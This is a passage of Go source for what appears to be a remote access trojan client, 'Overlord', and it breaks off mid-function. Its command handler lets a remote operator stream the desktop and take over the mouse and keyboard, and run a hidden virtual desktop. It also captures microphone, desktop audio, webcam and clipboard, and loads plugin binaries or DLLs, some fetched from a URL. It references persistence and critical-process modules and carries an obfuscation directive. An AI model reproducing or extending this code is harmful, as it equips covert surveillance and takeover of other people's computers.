Files
overlord/Overlord-Client/cmd/agent/handlers/command.go
T

3187 lines
90 KiB
Go

package handlers
import (
"context"
"encoding/json"
"errors"
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
goruntime "runtime"
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
"overlord-client/cmd/agent/audio"
"overlord-client/cmd/agent/capture"
"overlord-client/cmd/agent/criticalproc"
"overlord-client/cmd/agent/filesearch"
"overlord-client/cmd/agent/persistence"
"overlord-client/cmd/agent/plugins"
"overlord-client/cmd/agent/privacy"
"overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/securelog"
"overlord-client/cmd/agent/sysinfo"
"overlord-client/cmd/agent/webrtcpub"
"overlord-client/cmd/agent/wire"
)
var ErrReconnect = errors.New("reconnect requested")
var (
activeCommands = make(map[string]context.CancelFunc)
activeCommandsMu sync.Mutex
voiceSessionMu sync.Mutex
voiceSession *voiceRuntime
desktopAudioMu sync.Mutex
desktopAudioSession *voiceRuntime
backstageInputOnce sync.Once
backstageInputQueue chan backstageInputEvent
backstageInputDropped atomic.Uint64
fileHashSlots = make(chan struct{}, 2)
)
const cloneProgressMinInterval = 100 * time.Millisecond
type cloneProgressLimiter struct {
lastSent time.Time
}
func (l *cloneProgressLimiter) allow(now time.Time, copiedBytes int64, status string) bool {
initial := status == "scanning" || (status == "cloning" && copiedBytes == 0)
terminal := status == "done" || strings.HasPrefix(status, "done_with_errors|")
if !initial && !terminal && !l.lastSent.IsZero() && now.Sub(l.lastSent) < cloneProgressMinInterval {
return false
}
l.lastSent = now
return true
}
type backstageInputKind int
const (
BackstageInputMouseMove backstageInputKind = iota
BackstageInputMouseDown
BackstageInputMouseUp
BackstageInputMouseWheel
BackstageInputKeyDown
BackstageInputKeyUp
)
type backstageInputEvent struct {
kind backstageInputKind
display int
x int32
y int32
button int
delta int32
vk uint16
text string
}
type voiceRuntime struct {
sessionID string
cancel context.CancelFunc
session *audio.Session
}
func cancelAllCommands() {
activeCommandsMu.Lock()
defer activeCommandsMu.Unlock()
for id, cancel := range activeCommands {
if cancel != nil {
cancel()
}
delete(activeCommands, id)
}
}
func resetForReconnect(env *runtime.Env) {
if env == nil {
return
}
privacy.Stop()
cancelAllCommands()
capture.ResetFrameSlots()
env.DesktopMu.Lock()
if env.DesktopCancel != nil {
env.DesktopCancel()
}
waitStreamStop(env.DesktopDone, "desktop")
env.DesktopCancel = nil
env.DesktopDone = nil
env.MouseControl = false
env.KeyboardControl = false
env.CursorCapture = false
env.SelectedDisplay = GetPersistedDisplay()
env.DesktopMu.Unlock()
env.BackstageMu.Lock()
if env.BackstageCancel != nil {
env.BackstageCancel()
}
waitStreamStop(env.BackstageDone, "backstage")
env.BackstageCancel = nil
env.BackstageDone = nil
env.BackstageMouseControl = false
env.BackstageKeyboardControl = false
env.BackstageCursorCapture = false
env.BackstageSelectedDisplay = 0
env.BackstageMu.Unlock()
env.WebcamMu.Lock()
if env.WebcamCancel != nil {
env.WebcamCancel()
}
waitStreamStop(env.WebcamDone, "webcam")
env.WebcamCancel = nil
env.WebcamDone = nil
env.WebcamDeviceIndex = 0
env.WebcamFPS = 30
env.WebcamUseMaxFPS = false
env.WebcamMu.Unlock()
if env.Console != nil {
env.Console.StopAll()
}
stopVoiceSession()
CleanupAllTunnels()
env.NotificationMu.Lock()
env.NotificationKeywords = nil
env.NotificationMinIntervalMs = 0
env.NotificationMu.Unlock()
}
func removePersistence() error {
return persistence.Remove()
}
func registerCancellableCommand(cmdID string, cancel context.CancelFunc) {
activeCommandsMu.Lock()
defer activeCommandsMu.Unlock()
activeCommands[cmdID] = cancel
}
func unregisterCommand(cmdID string) {
activeCommandsMu.Lock()
defer activeCommandsMu.Unlock()
delete(activeCommands, cmdID)
}
func waitStreamStop(done <-chan struct{}, name string) {
if done == nil {
return
}
select {
case <-done:
return
case <-time.After(2 * time.Second):
log.Printf("%s: stop timed out", name)
}
}
func stopVirtualStreamLocked(env *runtime.Env) {
env.VirtualMouseControl = false
env.VirtualKeyboardControl = false
env.VirtualCursorCapture = false
if env.VirtualCancel != nil {
env.VirtualCancel()
}
waitStreamStop(env.VirtualDone, "hidden")
env.VirtualCancel = nil
env.VirtualDone = nil
}
func ensurebackstageInputWorker() {
backstageInputOnce.Do(func() {
backstageInputQueue = make(chan backstageInputEvent, 1024)
goSafe("backstage input worker", nil, func() {
for ev := range backstageInputQueue {
switch ev.kind {
case BackstageInputMouseMove:
if err := capture.BackstageInputMouseMove(ev.display, ev.x, ev.y); err != nil {
log.Printf("backstage input worker: mouse_move failed: %v", err)
}
case BackstageInputMouseDown:
if ev.x != 0 || ev.y != 0 {
_ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y)
}
if err := capture.BackstageInputMouseDown(ev.button); err != nil {
log.Printf("backstage input worker: mouse_down failed: %v", err)
}
case BackstageInputMouseUp:
if ev.x != 0 || ev.y != 0 {
_ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y)
}
if err := capture.BackstageInputMouseUp(ev.button); err != nil {
log.Printf("backstage input worker: mouse_up failed: %v", err)
}
case BackstageInputMouseWheel:
if ev.x != 0 || ev.y != 0 {
_ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y)
}
if err := capture.BackstageInputMouseWheel(ev.delta); err != nil {
log.Printf("backstage input worker: mouse_wheel failed: %v", err)
}
case BackstageInputKeyDown:
if err := capture.BackstageInputKeyDown(ev.vk, ev.text); err != nil {
log.Printf("backstage input worker: key_down vk=%d failed: %v", ev.vk, err)
}
case BackstageInputKeyUp:
if err := capture.BackstageInputKeyUp(ev.vk); err != nil {
log.Printf("backstage input worker: key_up vk=%d failed: %v", ev.vk, err)
}
}
}
})
})
}
func enqueuebackstageInput(ev backstageInputEvent) {
ensurebackstageInputWorker()
select {
case backstageInputQueue <- ev:
return
default:
if ev.kind == BackstageInputMouseMove {
dropped := backstageInputDropped.Add(1)
if dropped%100 == 1 {
log.Printf("backstage input queue: dropping mouse_move events dropped=%d", dropped)
}
return
}
t := time.NewTimer(200 * time.Millisecond)
defer t.Stop()
select {
case backstageInputQueue <- ev:
case <-t.C:
log.Printf("backstage input queue: enqueue timeout kind=%d", ev.kind)
}
}
}
func clearbackstageInputQueue() {
if backstageInputQueue == nil {
return
}
for {
select {
case <-backstageInputQueue:
default:
return
}
}
}
func payloadAsMap(payload interface{}) map[string]interface{} {
switch v := payload.(type) {
case map[string]interface{}:
return v
case map[interface{}]interface{}:
out := make(map[string]interface{}, len(v))
for key, val := range v {
switch ks := key.(type) {
case string:
out[ks] = val
case []byte:
out[string(ks)] = val
}
}
return out
default:
return nil
}
}
func payloadInt32(payload map[string]interface{}, key string) (int32, bool) {
if payload == nil {
return 0, false
}
if v, ok := payload[key]; ok {
switch val := v.(type) {
case float64:
return int32(val), true
case float32:
return int32(val), true
case int:
return int32(val), true
case int8:
return int32(val), true
case int16:
return int32(val), true
case int32:
return val, true
case int64:
return int32(val), true
case uint:
return int32(val), true
case uint8:
return int32(val), true
case uint16:
return int32(val), true
case uint32:
return int32(val), true
case uint64:
return int32(val), true
}
}
return 0, false
}
func payloadInt(payload map[string]interface{}, key string) (int, bool) {
if payload == nil {
return 0, false
}
if v, ok := payload[key]; ok {
switch val := v.(type) {
case float64:
return int(val), true
case float32:
return int(val), true
case int:
return val, true
case int8:
return int(val), true
case int16:
return int(val), true
case int32:
return int(val), true
case int64:
return int(val), true
case uint:
return int(val), true
case uint8:
return int(val), true
case uint16:
return int(val), true
case uint32:
return int(val), true
case uint64:
return int(val), true
}
}
return 0, false
}
func cancelCommand(cmdID string) bool {
activeCommandsMu.Lock()
defer activeCommandsMu.Unlock()
if cancel, exists := activeCommands[cmdID]; exists {
cancel()
delete(activeCommands, cmdID)
return true
}
return false
}
func sendCommandResultSafe(env *runtime.Env, cmdID string, ok bool, message string) {
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: ok}
if message != "" {
res.Message = message
}
if err := wire.WriteMsg(context.Background(), env.Conn, res); err != nil {
log.Printf("command_result send failed: %v", err)
}
}
func sendCommandResultAsync(env *runtime.Env, cmdID string) {
go func() {
defer recoverAndLog("sendCommandResultAsync", nil)
sendCommandResultSafe(env, cmdID, true, "")
}()
}
func payloadNumberToInt64(value interface{}) int64 {
switch v := value.(type) {
case int:
return int64(v)
case int8:
return int64(v)
case int16:
return int64(v)
case int32:
return int64(v)
case int64:
return v
case uint:
return int64(v)
case uint8:
return int64(v)
case uint16:
return int64(v)
case uint32:
return int64(v)
case uint64:
return int64(v)
case float32:
return int64(v)
case float64:
return int64(v)
default:
return 0
}
}
func stopVoiceSession() {
voiceSessionMu.Lock()
v := voiceSession
voiceSession = nil
voiceSessionMu.Unlock()
if v == nil {
return
}
if v.cancel != nil {
v.cancel()
}
if v.session != nil {
_ = v.session.Close()
}
}
func startVoiceSession(ctx context.Context, env *runtime.Env, sessionID string, source string) error {
if sessionID == "" {
return errors.New("missing voice session id")
}
stopVoiceSession()
vCtx, cancel := context.WithCancel(ctx)
session, err := audio.StartVoiceSession(vCtx, source, func(chunk []byte) {
if len(chunk) == 0 {
return
}
msg := map[string]interface{}{
"type": "voice_uplink",
"sessionId": sessionID,
"data": chunk,
}
_ = wire.WriteMsg(vCtx, env.Conn, msg)
})
if err != nil {
cancel()
return err
}
v := &voiceRuntime{sessionID: sessionID, cancel: cancel, session: session}
voiceSessionMu.Lock()
voiceSession = v
voiceSessionMu.Unlock()
return nil
}
func writeVoiceDownlink(data []byte) error {
voiceSessionMu.Lock()
v := voiceSession
voiceSessionMu.Unlock()
if v == nil || len(data) == 0 {
return nil
}
if v.session == nil {
return errors.New("voice session not ready")
}
if err := v.session.WritePlayback(data); err != nil {
return err
}
return nil
}
func stopDesktopAudioSession() {
desktopAudioMu.Lock()
v := desktopAudioSession
desktopAudioSession = nil
desktopAudioMu.Unlock()
if v == nil {
return
}
if v.cancel != nil {
v.cancel()
}
if v.session != nil {
_ = v.session.Close()
}
}
func startDesktopAudioSession(ctx context.Context, env *runtime.Env, sessionID string, source string) error {
if sessionID == "" {
return errors.New("missing desktop audio session id")
}
stopDesktopAudioSession()
vCtx, cancel := context.WithCancel(ctx)
legacyConverter := &desktopAudioLegacyConverter{}
session, err := audio.StartCaptureOnlySession(vCtx, source, func(chunk []byte) {
if len(chunk) == 0 {
return
}
// Fan to any active WebRTC audio session. No-op when nothing is
// subscribed, so the cost is just a map lookup under a read lock.
if webrtcpub.IsActive(webrtcpub.KindAudio) {
samples := pcm16BytesToInt16(chunk)
_ = webrtcpub.WriteAudio(webrtcpub.KindAudio, samples)
}
legacyPCM := legacyConverter.Convert(chunk)
if len(legacyPCM) == 0 {
return
}
msg := map[string]interface{}{
"type": "desktop_audio_uplink",
"sessionId": sessionID,
"data": legacyPCM,
}
_ = wire.WriteMsg(vCtx, env.Conn, msg)
})
if err != nil {
cancel()
return err
}
v := &voiceRuntime{sessionID: sessionID, cancel: cancel, session: session}
desktopAudioMu.Lock()
desktopAudioSession = v
desktopAudioMu.Unlock()
return nil
}
func extractDLLBytes(payload map[string]interface{}) []byte {
if payload == nil {
return nil
}
switch v := payload["dll"].(type) {
case []byte:
return v
case string:
if len(v) > 0 {
return []byte(v)
}
}
return nil
}
func extractCaptureDLLBytes(payload map[string]interface{}) []byte {
if payload == nil {
return nil
}
switch v := payload["capture_dll"].(type) {
case []byte:
return v
case string:
if len(v) > 0 {
return []byte(v)
}
}
return nil
}
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
cmdID, _ := envelope["id"].(string)
actionValue, _ := envelope["commandType"].(string)
action := wire.CommandType(actionValue)
switch action {
case "screenshot":
payload, _ := envelope["payload"].(map[string]interface{})
allDisplays := false
if payload != nil {
if v, ok := payload["allDisplays"].(bool); ok && v {
allDisplays = true
} else if mode, ok := payload["mode"].(string); ok && mode == "notification" {
allDisplays = true
}
}
if goruntime.GOOS == "windows" {
allDisplays = true
}
return HandleScreenshot(ctx, env, cmdID, allDisplays)
case "plugin_load":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing payload"})
}
manifestRaw, _ := payload["manifest"].(map[string]interface{})
binaryBytes, _ := payload["binary"].([]byte)
if env.Plugins == nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "plugin manager not ready"})
}
manifest, err := plugins.ManifestFromMap(manifestRaw)
if err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
goSafe("plugin load", nil, func() {
if err := env.Plugins.Load(ctx, manifest, binaryBytes); err != nil {
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "error", Error: err.Error()})
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
return
}
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "loaded"})
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
})
return nil
case "plugin_load_http":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing payload"})
}
manifestRaw, _ := payload["manifest"].(map[string]interface{})
manifest, err := plugins.ManifestFromMap(manifestRaw)
if err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
pullURL, _ := payload["url"].(string)
expectedSize := int64(toInt(payload["size"]))
goSafe("plugin load http", nil, func() {
HandlePluginLoadHTTP(ctx, env, cmdID, manifest, pullURL, expectedSize)
})
return nil
case "plugin_unload":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil || env.Plugins == nil {
return nil
}
pluginId, _ := payload["pluginId"].(string)
if pluginId == "" {
return nil
}
env.Plugins.Unload(pluginId)
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"})
return nil
case "webrtc_publish":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
sendCommandResultSafe(env, cmdID, false, "missing payload")
return nil
}
return handleWebrtcPublish(ctx, env, cmdID, payload)
case "webrtc_stop":
payload, _ := envelope["payload"].(map[string]interface{})
return handleWebrtcStop(ctx, env, cmdID, payload)
case "webrtc_p2p_offer":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
sendCommandResultSafe(env, cmdID, false, "missing payload")
return nil
}
return handleWebrtcP2POffer(ctx, env, cmdID, payload)
case "webrtc_p2p_ice":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
return nil
}
return handleWebrtcP2PIce(ctx, env, cmdID, payload)
case "webrtc_p2p_stop":
payload, _ := envelope["payload"].(map[string]interface{})
return handleWebrtcP2PStop(ctx, env, cmdID, payload)
case "desktop_start":
if goruntime.GOOS == "darwin" {
perms := sysinfo.DarwinPermissions()
var missing []string
if !perms["screenRecording"] {
missing = append(missing, "screenRecording")
}
if !perms["accessibility"] {
missing = append(missing, "accessibility")
}
if len(missing) > 0 {
log.Printf("desktop: macOS missing permissions: %v", missing)
detail, _ := json.Marshal(map[string]interface{}{
"reason": "permissions_denied",
"missing": missing,
"permissions": perms,
})
sendCommandResultSafe(env, cmdID, false, string(detail))
return nil
}
}
env.DesktopMu.Lock()
if env.DesktopCancel != nil {
env.DesktopCancel()
waitStreamStop(env.DesktopDone, "desktop")
}
desktopCtx, cancel := context.WithCancel(ctx)
env.DesktopCancel = cancel
done := make(chan struct{})
env.DesktopDone = done
goSafe("desktop stream", env.Cancel, func() {
log.Printf("desktop: start requested")
_ = DesktopStart(desktopCtx, env)
close(done)
})
env.DesktopMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_stop":
env.DesktopMu.Lock()
log.Printf("desktop: stop requested")
if env.DesktopCancel != nil {
env.DesktopCancel()
}
waitStreamStop(env.DesktopDone, "desktop")
env.DesktopCancel = nil
env.DesktopDone = nil
env.DesktopMu.Unlock()
env.VirtualMu.Lock()
if env.VirtualCancel != nil {
log.Printf("hidden: stop requested via desktop_stop")
stopVirtualStreamLocked(env)
}
env.VirtualMu.Unlock()
if privacy.IsEnabled() {
privacy.Stop()
log.Printf("privacy: auto-disabled on desktop stop")
}
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_select_display":
payload, _ := envelope["payload"].(map[string]interface{})
disp := 0
if payload != nil {
displayVal := payload["display"]
if v, ok := displayVal.(int8); ok {
disp = int(v)
} else if v, ok := displayVal.(int16); ok {
disp = int(v)
} else if v, ok := displayVal.(int32); ok {
disp = int(v)
} else if v, ok := displayVal.(int64); ok {
disp = int(v)
} else if v, ok := displayVal.(int); ok {
disp = v
} else if v, ok := displayVal.(uint8); ok {
disp = int(v)
} else if v, ok := displayVal.(float64); ok {
disp = int(v)
}
}
log.Printf("desktop: select display %d", disp)
_ = DesktopSelect(ctx, env, disp)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_enable_mouse":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := true
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
enabled = v
}
}
log.Printf("desktop: mouse control %v", enabled)
_ = DesktopMouseControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_enable_keyboard":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := true
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
enabled = v
}
}
log.Printf("desktop: keyboard control %v", enabled)
_ = DesktopKeyboardControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_enable_cursor":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := false
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
enabled = v
}
}
log.Printf("desktop: cursor capture %v", enabled)
_ = DesktopCursorControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_set_duplication":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := false
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
enabled = v
}
}
log.Printf("desktop: duplication capture %v", enabled)
_ = DesktopDuplicationControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_set_quality":
payload, _ := envelope["payload"].(map[string]interface{})
quality := 90
codec := ""
softwareH264 := false
reason := ""
source := ""
if payload != nil {
if q, ok := payloadInt(payload, "quality"); ok {
quality = q
}
if v, ok := payload["codec"].(string); ok {
codec = v
}
if v, ok := payload["softwareH264"].(bool); ok {
softwareH264 = v
}
if v, ok := payload["reason"].(string); ok {
reason = strings.TrimSpace(v)
}
if v, ok := payload["source"].(string); ok {
source = strings.TrimSpace(v)
}
}
softwareH264 = softwareH264 && strings.EqualFold(strings.TrimSpace(codec), "h264")
if source != "" || reason != "" {
log.Printf("desktop: set quality=%d codec=%s software_h264=%v source=%s reason=%s", quality, codec, softwareH264, source, reason)
} else {
log.Printf("desktop: set quality=%d codec=%s software_h264=%v", quality, codec, softwareH264)
}
capture.SetDesktopSoftwareH264(softwareH264)
capture.SetDesktopQualityAndCodec(quality, codec)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_request_keyframe":
log.Printf("desktop: request full frame")
capture.RequestDesktopFullFrame()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_set_resolution":
payload, _ := envelope["payload"].(map[string]interface{})
maxH := 0 // default = 1080p cap
if payload != nil {
if v, ok := payloadInt(payload, "maxHeight"); ok {
maxH = v
}
}
log.Printf("desktop: set max resolution height=%d", maxH)
capture.SetMaxResolution(maxH)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_set_profile":
payload, _ := envelope["payload"].(map[string]interface{})
maxH, fps := 1080, 60
if payload != nil {
if v, ok := payloadInt(payload, "maxHeight"); ok {
maxH = v
}
if v, ok := payloadInt(payload, "fps"); ok {
fps = v
}
}
SetDesktopTargetFPS(30)
capture.SetMaxResolution(maxH)
fps = SetDesktopTargetFPS(fps)
log.Printf("desktop: set stream profile max_height=%d fps=%d", maxH, fps)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_encoder_capabilities":
payload, _ := envelope["payload"].(map[string]interface{})
display := env.SelectedDisplay
if payload != nil {
if v, ok := payloadInt(payload, "display"); ok {
display = v
}
}
if display < 0 || display >= capture.MonitorCount() {
display = 0
}
goSafe("desktop encoder capability probe", env.Cancel, func() {
caps := capture.ProbeDesktopEncoderCapabilities(display)
profiles := make([]wire.DesktopEncoderProfile, 0, len(caps.Profiles))
for _, profile := range caps.Profiles {
profiles = append(profiles, wire.DesktopEncoderProfile{
MaxHeight: profile.MaxHeight, Width: profile.Width, Height: profile.Height,
FPS: profile.FPS, Label: profile.Label, Providers: profile.Providers,
})
}
codecs := make([]wire.DesktopCodecCapability, 0, len(caps.Codecs))
for _, codec := range caps.Codecs {
codecs = append(codecs, wire.DesktopCodecCapability{
Codec: codec.Codec, Encoders: codec.Encoders,
Transports: codec.Transports, Hardware: codec.Hardware,
})
}
if err := wire.WriteMsg(ctx, env.Conn, wire.DesktopEncoderCapabilities{
Type: "desktop_encoder_capabilities", CommandID: cmdID, Probed: caps.Probed,
Display: caps.Display, Profiles: profiles, Codecs: codecs, Detail: caps.Detail,
}); err != nil {
log.Printf("desktop: encoder capability result send failed: %v", err)
}
})
return nil
case "desktop_set_fps":
payload, _ := envelope["payload"].(map[string]interface{})
fps := 120
if payload != nil {
if v, ok := payloadInt(payload, "fps"); ok {
fps = v
}
}
fps = SetDesktopTargetFPS(fps)
log.Printf("desktop: set target fps=%d", fps)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_set_bitrate":
payload, _ := envelope["payload"].(map[string]interface{})
bitrateMbps := 0
adaptive := false
if payload != nil {
if v, ok := payloadInt(payload, "bitrateMbps"); ok {
bitrateMbps = v
}
if v, ok := payload["adaptive"].(bool); ok {
adaptive = v
}
}
if bitrateMbps < 0 {
bitrateMbps = 0
}
if bitrateMbps > 50 {
bitrateMbps = 50
}
capture.SetH264NetworkAdaptive(adaptive)
bps := capture.SetH264TargetBitrate(bitrateMbps * 1_000_000)
log.Printf("desktop: set target bitrate=%d Mbps (0=auto) adaptive=%v", bps/1_000_000, adaptive)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "clipboard_sync_start":
payload, _ := envelope["payload"].(map[string]interface{})
source := "rd"
if payload != nil {
if v, ok := payload["source"].(string); ok && v != "" {
source = v
}
}
env.ClipboardSyncMu.Lock()
if env.ClipboardSyncCancel != nil {
env.ClipboardSyncCancel()
if env.ClipboardSyncDone != nil {
<-env.ClipboardSyncDone
}
}
syncCtx, syncCancel := context.WithCancel(ctx)
env.ClipboardSyncCancel = syncCancel
env.ClipboardSyncSource = source
done := make(chan struct{})
env.ClipboardSyncDone = done
goSafe("clipboard_sync", env.Cancel, func() {
ClipboardSyncStart(syncCtx, env, source)
close(done)
})
env.ClipboardSyncMu.Unlock()
log.Printf("clipboard_sync: start (%s)", source)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "clipboard_sync_stop":
env.ClipboardSyncMu.Lock()
if env.ClipboardSyncCancel != nil {
env.ClipboardSyncCancel()
if env.ClipboardSyncDone != nil {
<-env.ClipboardSyncDone
}
env.ClipboardSyncCancel = nil
env.ClipboardSyncDone = nil
}
env.ClipboardSyncMu.Unlock()
log.Printf("clipboard_sync: stop")
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "clipboard_set":
payload, _ := envelope["payload"].(map[string]interface{})
text := ""
if payload != nil {
if v, ok := payload["text"].(string); ok {
text = v
}
}
ClipboardSyncSet(text)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_mouse_move":
if !env.MouseControl {
sendCommandResultAsync(env, cmdID)
return nil
}
payload := payloadAsMap(envelope["payload"])
x, _ := payloadInt32(payload, "x")
y, _ := payloadInt32(payload, "y")
absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
setCursorPos(absX, absY)
sendCommandResultAsync(env, cmdID)
return nil
case "desktop_mouse_down":
if !env.MouseControl {
sendCommandResultAsync(env, cmdID)
return nil
}
payload := payloadAsMap(envelope["payload"])
btn, _ := payloadInt(payload, "button")
if x, okX := payloadInt32(payload, "x"); okX {
if y, okY := payloadInt32(payload, "y"); okY {
absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
setCursorPos(absX, absY)
}
}
sendMouseDown(btn)
sendCommandResultAsync(env, cmdID)
return nil
case "desktop_mouse_up":
if !env.MouseControl {
sendCommandResultAsync(env, cmdID)
return nil
}
payload := payloadAsMap(envelope["payload"])
btn, _ := payloadInt(payload, "button")
if x, okX := payloadInt32(payload, "x"); okX {
if y, okY := payloadInt32(payload, "y"); okY {
absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
setCursorPos(absX, absY)
}
}
sendMouseUp(btn)
sendCommandResultAsync(env, cmdID)
return nil
case "desktop_mouse_wheel":
if !env.MouseControl {
sendCommandResultAsync(env, cmdID)
return nil
}
payload := payloadAsMap(envelope["payload"])
delta, _ := payloadInt32(payload, "delta")
if x, okX := payloadInt32(payload, "x"); okX {
if y, okY := payloadInt32(payload, "y"); okY {
absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
setCursorPos(absX, absY)
}
}
sendMouseWheel(delta)
sendCommandResultAsync(env, cmdID)
return nil
case "desktop_key_down":
if !env.KeyboardControl {
sendCommandResultAsync(env, cmdID)
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
code := ""
if payload != nil {
if v, ok := payload["code"].(string); ok {
code = v
}
}
if vk := keyCodeToVK(code); vk != 0 {
sendKeyDown(vk)
}
sendCommandResultAsync(env, cmdID)
return nil
case "desktop_key_up":
if !env.KeyboardControl {
sendCommandResultAsync(env, cmdID)
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
code := ""
if payload != nil {
if v, ok := payload["code"].(string); ok {
code = v
}
}
if vk := keyCodeToVK(code); vk != 0 {
sendKeyUp(vk)
}
sendCommandResultAsync(env, cmdID)
return nil
case "desktop_text":
if !env.KeyboardControl {
sendCommandResultAsync(env, cmdID)
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
text := ""
if payload != nil {
if v, ok := payload["text"].(string); ok {
text = v
}
}
if text != "" {
sendTextInput(text)
}
sendCommandResultAsync(env, cmdID)
return nil
// ==================== backstage COMMANDS ====================
case "backstage_start":
payload, _ := envelope["payload"].(map[string]interface{})
autoStartExplorer := false
VirtualMode := false
if payload != nil {
if v, ok := payload["autoStartExplorer"].(bool); ok {
autoStartExplorer = v
}
if v, ok := payload["virtual_mode"].(bool); ok {
VirtualMode = v
}
}
capture.RequestDesktopRecoveryAfterBackstageStart()
if VirtualMode {
env.VirtualMu.Lock()
if env.VirtualCancel != nil {
env.VirtualCancel()
waitStreamStop(env.VirtualDone, "hidden")
}
hiddenCtx, cancel := context.WithCancel(ctx)
env.VirtualCancel = cancel
done := make(chan struct{})
env.VirtualDone = done
goSafe("hidden stream", env.Cancel, func() {
log.Printf("hidden: start requested (autoStartExplorer=%v)", autoStartExplorer)
if err := capture.InitializeVirtualMode(); err != nil {
log.Printf("hidden: initialization failed: %v", err)
close(done)
return
}
if autoStartExplorer {
if _, err := capture.StartVirtualProcess("explorer.exe"); err != nil {
log.Printf("hidden: auto-start explorer error: %v", err)
}
}
_ = VirtualStart(hiddenCtx, env)
close(done)
})
env.VirtualMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
env.BackstageMu.Lock()
if env.BackstageCancel != nil {
env.BackstageCancel()
waitStreamStop(env.BackstageDone, "backstage")
}
backstageCtx, cancel := context.WithCancel(ctx)
env.BackstageCancel = cancel
done := make(chan struct{})
env.BackstageDone = done
goSafe("backstage stream", env.Cancel, func() {
log.Printf("backstage: start requested (autoStartExplorer=%v)", autoStartExplorer)
_ = backstageStart(backstageCtx, env, autoStartExplorer)
close(done)
})
env.BackstageMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "backstage_stop":
env.VirtualMu.Lock()
if env.VirtualCancel != nil {
log.Printf("hidden: stop requested")
stopVirtualStreamLocked(env)
env.VirtualMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
env.VirtualMu.Unlock()
env.BackstageMu.Lock()
log.Printf("backstage: stop requested")
env.BackstageMouseControl = false
env.BackstageKeyboardControl = false
env.BackstageCursorCapture = false
clearbackstageInputQueue()
if env.BackstageCancel != nil {
env.BackstageCancel()
}
waitStreamStop(env.BackstageDone, "backstage")
env.BackstageCancel = nil
env.BackstageDone = nil
env.BackstageMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "backstage_select_display":
payload, _ := envelope["payload"].(map[string]interface{})
disp := 0
if payload != nil {
displayVal := payload["display"]
if v, ok := displayVal.(int8); ok {
disp = int(v)
} else if v, ok := displayVal.(int16); ok {
disp = int(v)
} else if v, ok := displayVal.(int32); ok {
disp = int(v)
} else if v, ok := displayVal.(int64); ok {
disp = int(v)
} else if v, ok := displayVal.(int); ok {
disp = v
} else if v, ok := displayVal.(uint8); ok {
disp = int(v)
} else if v, ok := displayVal.(float64); ok {
disp = int(v)
}
}
log.Printf("backstage: select display %d", disp)
_ = backstageSelect(ctx, env, disp)
